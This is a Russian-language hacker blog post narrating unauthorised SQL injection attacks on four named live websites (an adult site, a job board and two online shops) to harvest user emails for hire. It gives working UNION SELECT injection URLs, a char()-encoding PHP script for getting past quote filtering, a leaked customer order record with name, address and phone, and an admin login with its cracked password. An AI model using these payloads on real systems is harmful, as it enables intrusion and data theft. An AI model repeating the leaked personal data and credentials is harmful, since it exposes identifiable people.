Сколько раз писали об атаках SQL Injection, говорили о том, чтоб
программисты фильтровали параметры в
скриптах... Но, что изменилось с того времени? Об этом узнаем ниже.
Первое знакомство
Одним осенним вечером я сидел дома, пил кофе, смотрел фильм,
отдыхая от повседневной рутины.И тут в голове появилась мысль — на сколько
уязвимы сайты к атакам SQL
Injection, после стольких статей о защите от них.Чтоб лишний раз не
серфить в гугле, я решил проверить свою аську, и посмотреть нет ли новой
работы. Не зря я это сделал т.к было полно работы.
Первым за, что я взялся — это был сайт онлайн эротики www.adupa.de. Сразу взялся за поиск уязвимостей. Первое,что представилось
моему взлору — это http://www.adupa.de/index.php?cmd=news&x=1&id=1, скуль налицо, параметр id не
фильтровался.Всё, что мне надо было с данного ресурса – адреса почтовых ящиков. Нашёл количество полей, их было пять
http://www.adupa.de/index.php?cmd=news&x=1&id=-63%20UNION%20SELECT%201,2,3,4,5/*
посмотрел версию
мускула, она была четвёртой. Доступ к information_schema был запрещён. Меня это не остановило!Я решил в
ручную проверить существование таблички users, и как ни странно она присутствовала в этой БД! Потом
посмотрел в исходном коде странички регистрации, как называются колонки для
ввода имени, пароля и почтового адреса. Название им было - name, password, email. Получил их значения запросом http://www.adupa.de/index.php?cmd=news&x=1&id=-63%20UNION%20SELECT%201,concat_ws(0x3A3a,name,password,email),3,4,5%20FROM%20users%20LIMIT%201,1/*.
Пароли шифровались в md5() хэши, и я не стал их расшифровывать, т.к основная цель была
выполнена, а акки пользователей мне были не к чему.
Джобы
Не долго думая я взялся за следующий ресурс, им оказался http://cliccalavoro.it — сайт джобов.Первый
же клик по линку привёл меня к скули http://cliccalavoro.it/bin/search.php?id_company=1– подставив кавычку я увидел
стандартную синтаксическую ошибку:
«You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax
to use near ''' at line 22». Моей радости не было
предела, второй сайт
и тоже скуль!Здесь доступ к information_schema был разрешён. Полей
было 9. http://cliccalavoro.it/bin/search.php?id_company=1)%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,8,9-- Далее я сграбил таблички скриптом написанном
на perl – вот те
которые меня интересовали:
unsubscribed, unsubscribed_bk0908, users, users_bk0908, users_deleted, users_deleted_bk0908, users_test090708.Моя задача опять состаяла
в том, что получить email'ы
пользователей и я выполнил своё задание на 5+. Конечно можно было получить
много конфедициональной информации, и дефейс сделать, да много чего ещё, но это
не мои методы.
Онлайн девушки, джобы, что дальше — а дальше ещё более
интересное путешевствие по интернет-магазинам!
Шопинг
На следующие утро мне захотелось чего-то большего,чем джобы
и знакомства.И вдруг мне стукнул в аську знакомый, дал линк на http://tiebreak.it/. И вот я в магазине — неплохой ассортимент - футболки, рубашки, джинсы и баги!
Пройдя по ссылки http://tiebreak.it/mostranews.php?idnews=12и подставив кавычку, я увидел очередной раз скуль ! Дальше узнал количество полей, их было 13 (
не очень счастливое число для них ). http://tiebreak.it/mostranews.php?idnews=-1'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13/*,
затем определил какие существуют таблички запросом
http://tiebreak.it/mostranews.php?idnews=-1'+union+select+1,2,3,4,5,concat(0x3a,table_name,0x3a),7,8,9,10,11,12,13+FROM+information_schema.tables+limit+1,1/* , затем слил их себе на винт.Всего табличек
было 38, меня заинтересовали tb_utenteи tb_export. Узнав
название колонок, таким запросом http://tiebreak.it/mostranews.php?idnews=1'+union+select+1,2,3,4,5,concat(0x3a,column_name,0x3a),7,8,9,10,11,12,13+FROM+information_schema.columns+where+table_name=”tb_utente”+limit+1,1/* и http://tiebreak.it/mostranews.php?idnews=1'+union+select+1,2,3,4,5,concat(0x3a,column_name,0x3a),7,8,9,10,11,12,13+FROM+information_schema.columns+where+table_name=”tb_utente”+limit+1,1/* там
была информация об всех людях которые когда-либо пользовались этим шопом.
Таким запросом я получил всё из таблички tb_export http://tiebreak.it/mostranews.php?idnews=-1'+union+select+1,2,3,4,5,concat_ws(0x3A3a,id,idordine,data,numreg,codmag,sped,codcliente,codpagam,codvaluta,tiporiga,codart,quant,prezzo,peso,codiva,trasp,acconto,nomecliente,nazsped,indirsped,comsped,provsped,capsped,telsped,nazfatt,indirfatt,comfatt,provfatt,capfatt,telfatt,mailfatt,codvar,note,stato),7,8,9,10,11,12,13+FROM+tb_export/* Вот пример
35::19::2008-08-03
11:37:07::19::MAGA::Corriere::8564::CARTA::EUR::R::ASI3201CBM223::1::15.12::0::20::5.50::0::MICHELE
MORALLI::italia::VIA BRESCIANA N.18::MUSSO::CO::22010::034480562::italia::VIA
BRESCIANA N.18::MUSSO::CO::22010::034480562::[email protected]::#M::::2
В табличке tb_utenteхранились все остальные данные о пользователях.
Поездка в Германию
Прошлый инетернет-магазин потряс меня своей незащищённостью,
и в моих мыслях крутился вопрос, не ужели существуют ещё такие? Я решил отправиться в Германию, набрав
в гугле Shop и указав
язык: немецкий. Гугл выкинул огромное количество результатов. Не зная что выбрать я бездумно
кликул по какому-то шопу: www.carpatec.de. Этот магазин продавал
запчасти к автомобилям. Пройдя по линку http://www.carpatec.de/shop/main_bigware_53.php?op=results&pollid=1и подставив -1 я увидил скуль, полей было не много — одно, слил таблички http://www.carpatec.de/shop/main_bigware_53.php?op=results&pollid=-1%20union%20select%20table_name%20from%20information_schema.tables%20limit%201,1--, затем решил получить название колонок из
таблички statit_user: http://www.carpatec.de/shop/main_bigware_53.php?op=results&pollid=-1%20union%20select%20column_name%20from%20information_schema.columns%20where table_name=”statit_user”%20limit %201,1--, и тут я был очень
удивлён! Программисты фильтровали кавычки, хоть что-то предприняли, но ровном
счётом им это не помогло. В данном случае я воспользовался функцией char() – она возвращает символы по их
ASCII-кодам. Для перевода символов
в ascii , я
воспользовался ранее взломанным шопом, но можно было и скриптом, код которого
ниже:
<?php
function form()
{
print "<hr>";
print "<form action=? method=GET>";
print "Word:<input name=string type=text>";
print "<input type=submit value=OK>";
print "</form>n";
}
if (!isset($_GET['string']))
{
form();
exit;
}
$string=$_GET['string'];
for ($i=0;$i<strlen($string);$i++)
{
$str_arr[$i]=substr($string,$i,1);
}
$result='';
for ($i=0;$i<count($str_arr);$i++){
if ($i==count($str_arr)-1){
$result=$result.ord($str_arr[$i]);
}else{
$result=$result.ord($str_arr[$i]).",";
}
}
print "char(".$result.")";
form();
?>
Табличка statit_user
→ CHAR(115,116,97,116,105,116,95,117,115,101,114), затем таким запросом узнаём
поля http://www.carpatec.de/shop/main_bigware_53.php?op=results&pollid=-1%20union%20select%20column_name%20from%20information_schema.columns%20where table_name=CHAR(115,116,97,116,105,116,95,117,115,101,114)%20limit%201,1--
. Первой была колонка login, второй
passwort. http://www.carpatec.de/shop/main_bigware_53.php?op=results&pollid=-1%20union%20select%20concat_ws(0x3A3a,login,passwort)%20from%20statit_user-- Я увидел такую запись admin::69eaa3646881fd504b1bd5fc6ad9dd67.Расшифровав хэш я
получил пароль: ikone. На
ресурсе так же лежал файл robot.txt,
в котором я узнал путь до админки: http://www.carpatec.de/administrator/, ввёл логин и пароль, и тут
меня ожидал облом, в админку пускает только с определённых ip адресов. Ну, что же, тому кто может иметь доступ
серверу, но не являться админом, это поможет. Конечно, если бы получил доступ к
админ панели, я бы смог залить шелл и получить нужную мне информацию было бы не
проблема, и минутное дело.
В табличках, таких
как orders,banktransfer и
другие, хранятся важные и конфиденциальные данные, которые можно с лёгкостью
получить, и ни ограниченный доступ к админки, ни фильтрация кавычек им не
помогла.
TO BE
CONTINUED...
Выше была рассмотрена «Великолепная четвёрка» практически
первых попавшихся на мой взгляд сайтов. По моим подсчётам в данный момент
подвержено атакам вида SQL
Injection шесть из десяти сайтов, уже не говоря про Blind SQL Injection – они вообще на
каждом шагу.Столько лет прошло, столько статей написано, а ситуация на
сегодняшний день стоит на месте.
Автор: Demcrack
Email:
[email protected]